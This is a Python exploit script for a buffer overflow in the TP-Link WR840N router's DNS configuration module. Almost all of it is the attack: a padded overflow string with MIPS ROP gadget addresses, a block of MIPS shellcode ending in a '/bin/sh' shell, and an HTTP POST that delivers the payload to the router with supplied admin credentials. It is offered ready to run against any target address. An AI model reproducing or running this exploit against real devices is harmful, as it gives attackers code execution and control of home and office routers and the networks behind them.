#!/usr/bin/python # -*- coding: utf-8 -*- # Author: Samir Sanchez Garnica and Luis Jacome Valencia # Description: This script exploits a vulnerability (BoF) in the TPLink WR840N router, using a field for injecting code in the module DNS. #0x2b702000 0x2b762000 r-xp 60000 0 /lib/libuClibc-0.9.33.2.so #0x2b464000 0x2b46a000 rw-p 6000 c8000 /lib/libcmm.so + 0xbad20 -> sleep() import requests import base64 import argparse class ExploitIoF(): def __init__(self, ip, username, password): self.ip = ip self.username = username self.password = password self.session = requests.Session() def base64_encode(self, s): msg_bytes = s.encode('ascii') return base64.b64encode(msg_bytes) def exploit(self): # Building the malicious packet self.url = "http://" + self.ip + "/cgi?2" self.proxyes = {} self.offset = 3224 self.eip = 1348#,1384 self.chain = "A" * 1304 self.chain += "\x68\xb3\x80\x58" #0x5880b368 => S1 self.chain += "A" * 20 self.chain += "\x8c\x9d\x74\x2b" #0x0003fd8c : move $t9, $a1 ; move $a1, $a2 ; jr $t9 ; addiu $a0, $a0, 8 => 0x2bb41d8c self.chain += "A" * 16 self.chain += "\x14\x0f\x76\x2b" #0x00056f14: addiu $a1, $sp, 0x18; addiu $a2, $zero, 0x102; move $t9, $s4; jalr $t9; move $a3, $s5 => 0x2bb58f14 self.chain += "D"*0x18 self.chain += "\x20\x0d\x76\x2b" ##0x2b464000 0x2b46a000 rw-p 6000 c8000 /lib/libcmm.so + 0xbad20 -> sleep() self.shellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0" self.shellcode +="\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73" self.shellcode +="\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x15" self.shellcode +="\xb3\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01" self.shellcode +="\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0" self.shellcode +="\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30" self.shellcode +="\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50" self.shellcode +="\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24" self.shellcode +="\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05" self.shellcode +="\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73" self.shellcode +="\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27" self.shellcode +="\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24" self.shellcode +="\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01" self.shellcode +="\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f" self.shellcode +="\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff" self.shellcode +="\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xc7\xff\x0f\x24" self.shellcode +="\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0" self.shellcode +="\xaf\xf7\xff\x0e\x24\x27\x70\xc0\x01\x21\x60\xef\x03\x21\x68" self.shellcode +="\x8e\x01\xff\xff\xa0\xad\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c" self.shellcode +="\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68" self.chain += self.shellcode self.chain += "E" * (self.offset - len(self.chain)) self.payload = '[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5\r\nenable=1\r\nuserName={0}\r\npassword={1}\r\nuserDomain={2}\r\nlogin=1\r\n'.format(self.username, self.password, self.chain) print(self.payload) self.headers = { 'Host': self.ip, 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0', 'Accept': '*/*', 'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'text/plain', 'Content-Length': 'str(len(self.payload))', 'Origin': 'http://'+str(self.ip), 'Referer': 'http://'+str(self.ip)+'/mainFrame.htm', } self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') } self.params = ( ('2', ''), ) self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.payload, proxies=self.proxyes, timeout=10) def main(): parser = argparse.ArgumentParser() parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True) parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True) parser.add_argument("--target", dest="target", help="Enter router ip address", required=True) args = parser.parse_args() if args.username and args.password and args.target: rce = ExploitIoF(args.target, args.username, args.password) rce.exploit() if __name__ == "__main__": main()